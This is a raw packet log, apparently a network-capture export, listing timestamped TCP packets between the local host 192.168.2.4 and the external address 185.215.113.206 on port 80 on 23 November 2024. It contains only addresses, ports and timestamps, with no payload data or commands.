Nov 23, 2024 17:44:36.537146091 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.537147999 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.537158966 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.537189007 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.537205935 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.537276983 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.537338018 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.538089991 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.538137913 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.538170099 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.538182974 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.538213015 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.538290977 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.538443089 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.538822889 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.538861036 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.538872004 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.538880110 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.538898945 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.538917065 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.538959980 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.539002895 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.539753914 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.539792061 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.539803982 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.539809942 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.539825916 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.539850950 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.539887905 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.539933920 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.540680885 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.540718079 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.540734053 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.540770054 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.579572916 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.579638004 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.579648972 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.579668999 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.579699993 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.579767942 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.579835892 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.580046892 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.580105066 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.580238104 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.580296040 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.580323935 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.580378056 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.655044079 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.655112028 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.655123949 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.655148029 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.655188084 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.655210018 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.655262947 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.655472994 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.655522108 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.655533075 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.655690908 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.656074047 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.656117916 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.656130075 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.656146049 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.656167030 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.656188011 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.656218052 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.657188892 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.657253981 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.657260895 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.657274008 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.657319069 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.657433033 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.657495022 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.657924891 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.657955885 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.657967091 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.657985926 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.658019066 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.658040047 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.658098936 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.658842087 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.658860922 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.658871889 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.658915997 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.658946991 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.658951044 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.659006119 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.659756899 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.659818888 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.659826994 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.659838915 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.659851074 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.659887075 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.659921885 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.660662889 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.660728931 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.660737038 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.660741091 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.660777092 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.660808086 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.660839081 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.660887003 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.661722898 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.661735058 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.661746979 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.661782026 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.661813021 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.662636995 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.662647963 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.662658930 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.662697077 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.662727118 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.662759066 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.662770987 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.662805080 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.662836075 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.663436890 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.663492918 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.663497925 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.663511992 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.663547039 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.663578033 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.663583040 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.663628101 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.664344072 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.664397955 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.664397955 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.664412022 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.664443970 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.664475918 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.664508104 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.664556980 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.665271997 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.665318012 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.665328979 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.665330887 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.665359020 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.665406942 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.665463924 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.665504932 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.666181087 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.666217089 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.666229010 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.666238070 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.666266918 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.666296005 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.732507944 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.732569933 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.732580900 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.732598066 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.732614994 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.732646942 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.732960939 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.733011007 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.733016014 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.733026981 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.733037949 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.733066082 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.733098030 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.733864069 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.733911991 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.733916044 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.733923912 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.733953953 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.733968019 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.733988047 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.734030962 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.734824896 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.734874964 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.734877110 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.734889984 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.734900951 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.734924078 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.734956026 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.735867977 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.735913038 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.735918999 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.735925913 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.735955000 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.735965967 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.735970020 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.736011028 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.736711979 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.736763000 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.736764908 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.736776114 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.736804008 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.736819983 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.736846924 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.736893892 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.737617970 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.737654924 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.737667084 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.737668991 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.737699986 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.737778902 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.737826109 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.738595963 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.738643885 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.738646030 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.738656998 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.738678932 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.738698959 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.738759995 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.738806009 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.739408970 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.739459991 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.739501953 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.739515066 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.739550114 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.739725113 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.739782095 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.740398884 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.740456104 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.740498066 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.740509987 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.740544081 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.740612984 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.740658998 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.741223097 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.741245985 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.741257906 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.741274118 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.741306067 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.741364002 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.741409063 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.742100954 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.742147923 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.742150068 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.742160082 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.742191076 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.742206097 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.801784039 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.801829100 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.801840067 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.801858902 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.801877022 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.801914930 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.802175045 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.802227974 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.802231073 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.802239895 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.802278042 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.802309036 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.856411934 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.856434107 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.856446028 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.856511116 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.856517076 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.856571913 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.856803894 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.856858015 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.856859922 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.856873035 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.856903076 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.856920004 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.857450008 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.857498884 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.857517004 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.857517958 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.857531071 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.857543945 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.857575893 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.858351946 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.858400106 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.858407021 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.858417034 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.858433008 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.858437061 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.858459949 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.858474970 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.859141111 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.859194040 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.859194994 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.859209061 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.859234095 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.859256983 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.859318972 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.859411955 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.860603094 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.860620975 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.860632896 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.860646009 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.860660076 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.860732079 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.860982895 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.861023903 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.861037016 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.861037970 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.861068964 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.861083984 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.861129045 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.861205101 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.861900091 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.861938953 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.861951113 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.861979008 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.861979008 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.862030029 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.862050056 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.862099886 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.862813950 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.862860918 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.862874985 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.862895966 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.862909079 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.862910032 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.862946987 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.862977028 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.863740921 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.863795042 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.863804102 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.863809109 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.863842964 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.863876104 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.863914013 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.863966942 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.864696026 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.864758015 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.864763975 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.864787102 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.864803076 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.864821911 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.864821911 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.864849091 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.865586996 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.865617037 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.865628958 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.865641117 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.865680933 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.865680933 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.865731001 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.865787983 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.866511106 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.866532087 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.866544962 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.866570950 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.866605043 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.866605043 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:36.866705894 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:36.866765022 CET	49745	80	192.168.2.4	185.215.113.206
